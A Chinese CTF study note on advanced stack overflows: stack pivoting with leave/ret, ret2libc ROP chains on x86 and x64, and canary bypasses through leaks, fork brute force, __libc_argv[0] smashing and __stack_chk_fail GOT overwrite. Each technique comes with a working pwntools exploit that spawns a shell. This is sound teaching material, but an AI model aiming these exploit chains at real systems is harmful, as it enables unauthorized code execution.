栈溢出进阶
zach0ry

栈迁移

change_ebp(栈劫持Demo1)

image-20250723185941585

image-20250723185952958

最多填充12个字节,只能覆盖到ebp

image-20250723192042102

写入的magic的范围到0x0804A380~0x0804A38C

所以栈迁移

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

p = process("./change_ebp")
gdb.attach(p,"b *0x080485D3")

backdoor = 0x0804850B
magic_addr = 0x0804A380

p.recvuntil("leave your name\n")
payload = "junk" + p32(backdoor) + p32(magic_addr)

p.send(payload)
p.interactive()

ebp 的作用

在函数调用时,ebp 用于:

  • 定位局部变量(如 v1 位于 ebp-8)。
  • 在函数返回时恢复调用者的栈帧(通过 leave 指令)。

典型函数尾声(leave; ret

1
2
leave  ; 相当于 mov esp, ebp; pop ebp
ret ; pop eip,跳转到返回地址
  • leave 会:
    1. ebp 的值赋给 esp(栈指针指向 ebp)。
    2. 然后 pop ebp(恢复调用者的 ebp)。
  • retpop eip(跳转到返回地址)。

(1) leave 指令的执行

  • mov esp, ebp
    • 原本 ebp 指向栈帧基址,但已经被覆盖为 magic_addr0x0804A380)。
    • 所以 esp 现在指向 magic_addr(全局变量 magic 的地址)。
  • pop ebp
    • espmagic_addr)弹出一个值到 ebp
    • 如果 magic 区域没有特殊构造,这里可能不重要。

(2) ret 指令的执行

  • pop eip
    • espmagic_addr + 4)弹出一个值到 eip(程序计数器)。
    • 关键点
      • magic_addr + 4magic 变量的第 5-8 字节。
      • 攻击者已经通过 read(0, &magic, 0xCu)magic 写入了 12 字节数据。
      • 如果 magic + 4 处存放的是 backdoor 地址,ret 就会跳转到 backdoor

ret2libc3(栈劫持Demo2)

img

在这里介绍一种新的办法,使函数可以不返回main函数

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

p = process("./ret2libc3")
gdb.attach(p,"b *0x0804854C")
elf = ELF("./ret2libc3")
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

gets_got = elf.got["gets"]
gets_plt = elf.plt["gets"]
puts_plt = elf.plt["puts"]
# ROPgadget --binary ./ret2libc3 --only "pop|ret"
pop_ebp_ret = 0x080485db
# ROPgadget --binary ./ret2libc3 | grep leave
leave_ret = 0x08048448
rop_addr = 0x804a800

p.recvuntil("ret2libc3\n")
payload1 = "a" * 0x108 + "junk"
payload1 += p32(puts_plt) + p32(pop_ebp_ret) + p32(gets_got)
payload1 += p32(gets_plt) + p32(pop_ebp_ret) + p32(rop_addr)
payload1 += p32(pop_ebp_ret) + p32(rop_addr - 4)+p32(leave_ret)

p.sendline(payload1)

leak_addr = u32(p.recv(4))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

system = libc.symbols["system"]
binsh = libc.search("/bin/sh").next()
payload2 = b"A" * 0x108 # 填充缓冲区
payload2 += p32(system) # 调用 system
payload2 += p32(0) # 返回地址(不重要,因为直接拿 shell)
payload2 += p32(binsh) # system 的参数
p.sendline(payload2)
p.interactive()

第一个paylaod

1
payload1 += p32(puts_plt) + p32(pop_ebp_ret) + p32(gets_got)

输出gets的got表地址,方便寻找libc基址

然后p32(pop_ebp_ret)取出两个地址,一个放进ebp,一个放入eip(ret指令),放进eip的也就是p32(gets_plt),正好接上下一条指令继续执行。

1
payload1 += p32(gets_plt) + p32(pop_ebp_ret) + p32(rop_addr)

调用gets的plt表,又产生了一个输入机会

1
payload1 += p32(pop_ebp_ret) + p32(rop_addr - 4)+p32(leave_ret)

把rop_addr - 4作为ebp,所以程序会跳转到这里

而rop_addr 的数据可以有payload2填入,精心构造即可

第二个paylaod

填入了上面的返回地址,使程序进入system函数,再构造system函数的参数/bin/sh

就构造好了后门函数

x64的情况其实差不多,就是先传入参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *

p = process("./ret2libc3_x64")
gdb.attach(p,"b *0x00000000004006F1")
elf = ELF("./ret2libc3_x64")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")

gets_got = elf.got["gets"]
puts_plt = elf.plt["puts"]
gets_plt = elf.plt["gets"]
rop_addr = 0x601800
# ROPgadget --binary ./ret2libc3_x64 --only "pop|ret"
# 0x0000000000400783 : pop rdi ; ret
rdi = 0x0000000000400783
pop_rsp3 = 0x000000000040077d # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
p.recvuntil("ret2libc3_x64\n")
payload1 = "a" * 0x100 + "junkjunk"
payload1 += p64(rdi) + p64(gets_got)
payload1 += p64(puts_plt)
payload1 += p64(rdi) + p64(rop_addr)
payload1 += p64(gets_plt)
payload1 += p64(pop_rsp3) + p64(rop_addr - 0x18)
p.sendline(payload1)

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
libc_base = leak_addr - libc.symbols["gets"]
libc.address = libc_base
log.success("libc_base:" + hex(libc.address))

system = libc.symbols["system"]
binsh = libc.search("/bin/sh").next()
payload2 = p64(rdi) + p64(binsh)
payload2 += p64(system)
p.sendline(payload2)
p.interactive()

rbp_leave(栈劫持Demo3)

image-20250723201159365

v1存在栈溢出漏洞,但可输入的字符数太少

最多覆盖到返回地址处,无法直接rop

所以考虑用name来构造,然后用v1转过去

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
from LibcSearcher import *
p = process("./rbp_leave")
#gdb.attach(p,"b *0x000000000040073F")
elf = ELF("./rbp_leave")
name_addr = 0x6010A0
# ROPgadget --binary ./rbp_leave --only "pop|ret"
# 0x0000000000400783 : pop rdi ; ret
rdi = 0x4007c3
rsi2 = 0x4007c1
pop_rsp3 = 0x4007bd # pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
# ROPgadget --binary ./rbp_leave | grep leave
leave_ret = 0x4006f0 # leave ; ret
ret = 0x4006f1
read_input = 0x4006C7
rop_addr2 = name_addr + 0x800

name = p64(ret) *20
name += p64(rdi) + p64(elf.got["read"])
name += p64(elf.plt["puts"])
name += p64(rdi) + p64(rop_addr2)
name += p64(rsi2) + p64(0x200) + p64(0)
name += p64(read_input)
name += p64(pop_rsp3) + p64(rop_addr2 - 0x18)
p.sendafter(b"leave your name\n",name.ljust(0x400,b"\x00"))



payload1 = b"a" * 0x100
payload1 += p64(name_addr - 8)
payload1 += p64(leave_ret)
p.sendafter("try to break it\n",payload1)


leak_addr = u64(p.recv(6).ljust(8,b"\x00"))
libc=LibcSearcher("read",leak_addr)
libc_base = leak_addr - libc.dump("read")
libc.address = libc_base
print(hex(libc.address))


system = libc_base+libc.dump("system")
binsh = libc_base+libc.dump("str_bin_sh")
payload2 = p64(rdi) + p64(binsh)
payload2 += p64(system)
p.send(payload2)
p.interactive()

第一个payload

1
2
name += p64(rdi) + p64(elf.got["read"])
name += p64(elf.plt["puts"])

调用puts函数打印read的got表地址

1
2
3
name += p64(rdi) + p64(rop_addr2)
name += p64(rsi2) + p64(0x200) + p64(0)
name += p64(read_input)

调用read函数,read的参数比较多,所以多用了几个寄存器,把从终端输入的数据放在p64(rop_addr2)的位置上

1
name += p64(pop_rsp3) + p64(rop_addr2 - 0x18)

因为p64(pop_rsp3)有三个pop指令,所以有要空出足够的距离,防止把重要数据弹出了

第二个payload

填补v1

1
2
payload1 += p64(name_addr - 8)
payload1 += p64(leave_ret)

p64(name_addr - 8):覆盖 RBP

  • 目标:将 RBP 修改为 name_addr - 8
  • 为什么是 name_addr - 8
    • leave 指令会执行 mov rsp, rbp,因此 rsp 将指向 name_addr - 8
    • 接下来的 ret 会从 name_addr(即 name 的起始地址)开始执行 ROP 链。
    • -8 的调整:因为 leave 之后会 pop rbprsp+8,最终指向 name_addr

第三个payload

1
2
payload2 = p64(rdi) + p64(binsh)
payload2 += p64(system)

为第一个payload提供的read输入

综上所述

通过0和2构造完整的后门函数,然后通过1进入执行这个后门函数

脚本

如何选择合适的 rop_addr2

方法 1:使用 name 的扩展区域

  • 如果 name 的大小是 0x400,可以选择 name_addr + 0x400 之后的地址(如 name_addr + 0x800)。
  • 优点:简单直接,无需额外泄露地址。
  • 缺点:需确保 name 区域足够大(或程序允许越界写入)。

方法 2:使用 libc 中的可写段

  • libc 中有许多可写区域(如 __malloc_hook__free_hook 附近)。
  • 步骤
    1. 泄露 libc 基址(如通过 puts(read_got))。
    2. 计算目标地址(如 libc_base + 0x3c4b00)。
  • 优点:稳定,适合大型 ROP 链。
  • 缺点:需要先泄露 libc 地址。

方法 3:使用堆(Heap)

  • 如果程序调用了 malloc,堆地址可能可预测。
  • 步骤
    1. 泄露堆地址(如通过 puts(malloc_got))。
    2. 选择堆块中的空闲区域。
  • 优点:空间大,不易冲突。
  • 缺点:需要堆泄露。

canary保护

Canary的设计思想简单高效,就是在栈溢出发生的高危区域的尾部插入一个值,当函数返回时检测Canary的值是否发生了改变,从而判断是否发生栈溢出/缓冲区溢出。

保护原理

当程序启用Canary编译后

插入Canary值

1
2
mov rax,qword ptr fs:[0x28]
mov qword ptr[rbp-8],rax

检查

1
2
3
4
moV rdx,QWORD PTR [rbp-0x8]
xOr rdx,QWORD PTR fs:0x28
je0x4005d7<main+65>
call 0x400460<_stack_chk_fail@plt>

如果检测出Canary的值被修改过,则会运行到__stack_chk_fail函数。这个函数位于glibc中,默认情况下经过ELF的延迟绑定。也就是说,stack_chk_fail是一个外部函数,当程序没有开启FULL RELRO保护时,可以被GOT劫持攻击。攻击者可以先劫持stack_chk_fail函数的GOT,再触发Canary检测报错,这时就会进入劫持的地址,这也是一种利用思路

image-20250728110143291

在 Linux x86-64 架构下,Canary(也称为 stack_guard 或栈保护值)通常并不是直接存储在栈上(那样它就容易被溢出),而是存储在一个线程本地存储 (TLS) 区域中。

在 x86-64 Linux 系统中,fs 寄存器(或者 gs 寄存器)被操作系统用于指向当前线程的线程本地存储 (TLS) 区域。

  • GCC 编译器在编译时,会在程序启动时初始化这个 Canary 值,并将其存储在 TLS 区域的一个特定偏移量上。
  • 对于 x86-64 Linux,这个偏移量通常是 0x28。所以,fs:0x28 指向的内存地址就是当前线程的 stack_guard(即 Canary 值)的存储位置。

而且TLS中的值由函数security_init进行初始化

image-20250728111337337

最后,注意Canary最后的一个字节会被设置为0,防止类似printf(”%s”,&buf)形式的函数不小心将Canary的值打印出来,所以用“\x00”字符(在C语言中表示字符串的结尾)来做一个截断,和ASLR没有关系。

栈结构

1
2
3
4
[ buf (256 bytes)         ]  ← esp+0x00
[ stack canary (4 bytes) ] ← esp+0x100
[ saved ebp (4 bytes) ]
[ return address (4 bytes)]

对于有Canary的程序,如果考虑栈溢出攻击,主要有下面4个思路:

1)利用泄露函数泄露出Canary的值,再进行利用。

2)爆破得到Canary的值。

3)__stack_chk_fail函数泄露关键信息。

4)修改TLS中的stack_guard值。

1.leak_canary(泄露Canary值)

image-20250728164543965

image-20250728164606083

image-20250728164644826

脚本1(printf_替代/x00)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process("./leak_canary")
#gdb.attach(p,"b *0x08048631")

main=0x0804867f
bin= 0x080485CC
payload=b'a'*0x100+b'b'
p.send(payload)
p.recvuntil(b'a'*0x100)
canary=u32(p.recv(4))-ord('b')
print(hex(canary))

payload=b'\x00'*0x100+p32(canary)
payload+=p32(0)*2
payload+=p32(main)
payload+=p32(bin)
p.send(payload)
p.interactive()
1
2
3
4
5
payload=b'a'*0x100+b'b'
p.send(payload)
p.recvuntil(b'a'*0x100)
canary=u32(p.recv(4))-ord('b')
print(hex(canary))

用b替代canary最低位的\x00,使得它的值可以被输出

然后用收到的数据减去b的值就是canary的值

1
payload+=p32(0)*2

两个padding

image-20250728161506263

分配了 0x118字节的栈空间给局部变量和padding。

栈空间一次性分配,便于管理和性能

  • 编译器在函数入口会执行类似 sub esp, 0x118 的操作,一次性给函数所有局部变量、临时数据和对齐空间分配足够大的连续栈空间。分配的 280 字节是 buf + 其他局部变量 + padding

  • 这块空间里包含你所有局部变量(比如 buf)、隐式变量(比如保存的寄存器)、以及为了满足 CPU 访问对齐需求而插入的 padding。

    从ebp开辟了0x118个字节存放,但buf从ebp-0x10c开始存储,接着是canary,所以还有两个padding

canary不一定是挨着缓冲区的,单在这道题是的

image-20250728165151504

情况 会插 canary 紧挨数组吗?
函数里有 char buf[xxx] 一般会放 canary 在 buf 后面
没有数组、不会栈溢出 ❌ 通常不会启用 canary
数组不在栈上(比如 malloc 的) ❌ 不是栈保护的范围
特殊优化或内联小函数 ⚠️ 可能被省略

虽然 canary 的位置不是硬编码的,但在实际场景中(特别是题目明确有 char buf[] 并开启了 canary),它通常 就在 buf 后面,且通过调试或试探可以准确确定它的偏移位置

脚本2(格式化字符串)

可以看到buf在第7个位置上image-20250728171852627

而且buf有256个字节,可以存放64个字符

所以canary就是在第64+7即71个参数的位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process("./leak_canary")
#gdb.attach(p,"b printf")

target = 0x080485CC

p1 = "%71$p\n"
p.send(p1)
leak_info = p.recvuntil("\n",drop = True)
canary = int(leak_info,16)
log.success("canary:" + hex(canary))

p2 = b"\x00" * 0x100 + p32(canary)
p2 += p32(0) * 3
p2 += p32(target)
p.send(p2)
p.interactive()

2.one_by_one_bruteforce(逐个字节爆破)

通过fork函数开启子进程交互的题目,因为fork函数会直接拷贝父进程的内存,所以每次创建的子进程的Canary是相同的。我们可以利用这个特点,逐个字节地将Canary爆破出来。

image-20250729142758725

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

p = process("./one_by_one_bruteforce")

def bruteforece1bit():
global known
for i in range(256):
p1 = "a" * 0x108
p1 += known
p1 += chr(i)
p.sendafter("one_by_one_bruteforce\n",p1)
try:
info = p.recvuntil("\n")
if "*** stack smashing detected ***:" in info:
p.send("n\n")
continue
else:
known += chr(i)
break
except:
log.info("maybe there something wrong")
break

def bruteforce_canary():
global known
known += "\x00"
for i in range(7):
bruteforece1bit()
if i != 6:
p.send("n\n")
else:
p.send("y\n")

context.log_level = "debug"
target = 0x000000000040083E
known = ""
bruteforce_canary()
canary = u64(known)
log.success("canary:" + hex(canary))
p2 = "a" * 0x108 + p64(canary) + p64(0) + p64(target)
p.sendafter("go\n",p2)
p.interactive()

逐字节尝试,无“stack smashing detected”报错回显来对Canary的数值进行逐字节爆破。如果输入正确,则没有回显,能得到Canary的这个字节,然后开始下一个字节的爆破;如果输入有误,则爆破不成功,继续下一个爆破的数值,爆破不成功时子进程会报错退出,但不会影响父进程,父进程会一直创建子进程,可以利用这一点实现爆破。得到Canary的具体数值后,可以在父进程进行栈溢出,覆盖返回地址,实现Getshell,也可以在子进程中实现Getshell。因为有了Canary的具体数值,所以可以绕过Canary保护机制

3.stack_smashes

stack_smashes是一种特殊的利用思路。前面已经提到过,在_stack_chk_fail函数中会将_libc_argv[0]的信息打印出来,

例如(stack smashing detected : [程序名] terminated)如果能够控制__libc_argv[0]中保存的地址为我们想要的信息的地址,那么就能得到相应的数据。

在 Linux 系统中,程序名通常是通过读取 __libc_argv[0] 这个全局指针来实现的。__libc_argv 是 libc 库内部维护的一个指针数组,其中 __libc_argv[0] 指向当前进程的可执行文件路径字符串。

攻击者通过任意地址写入(通常通过 ROP 链实现)将 __libc_argv[0] 这个指针的值,从原来的程序名地址,修改为我们想要泄露的数据的地址(例如 flag 的地址)。

image-20250730151211960

🔍 main 函数的标准原型

1
int main(int argc, char *argv[], char *envp[]);

argc: 命令行参数个数

argv: 参数字符串数组指针

envp: 环境变量字符串数组指针

在栈上,这些参数是由 __libc_start_main 调用 main 时传入的。

所以查看buf的地址

img

直接下断点到read的位置,看到buf的位置是0x7fffffffdc00

接着查看libc_argc[1],即文件信息

0x7fffffffde18

image-20250730152108369

image-20250730153719720

计算好偏移之后就可以把libc_argc[0]的地址换为flag的地址了

脚本

1
2
3
4
5
6
7
8
9
10
from pwn import *

p = process("./stack_smashes")
#gdb.attach(p,"b *0x0000000000400875")

context.log_level = "debug"
flag_addr = 0x0601090
p2 = "a" * 0x218 + p64(flag_addr)
p.sendafter("stack_smashes\n",p2)
p.interactive()

还有就是直接把stack_chk_fail函数的get表村的地址改为后门函数的地址

image-20250729170831207

image-20250729171027431

image-20250729171058667

偏移是6

脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
context(arch='amd64',os='linux',word_size='64')
p=remote("node5.buuoj.cn",25904)

#p = process("./r2t4")
elf = ELF("./r2t4")

backdoor = 0x400626
#__stack_chk_fail_got_addr = elf.got["__stack_chk_fail"]
__stack_chk_fail = elf.got['__stack_chk_fail']
payload = fmtstr_payload(6, {__stack_chk_fail: backdoor}).ljust(0x38,b'a')
p.sendline(payload)
p.interactive()

总结来说,ljust(0x38, b’a’) 的目的是:

确保 read 函数读取到完整的、由我们控制的 56 字节数据。

防止 read 函数读取到其他不可预测的数据,从而干扰 printf 的行为。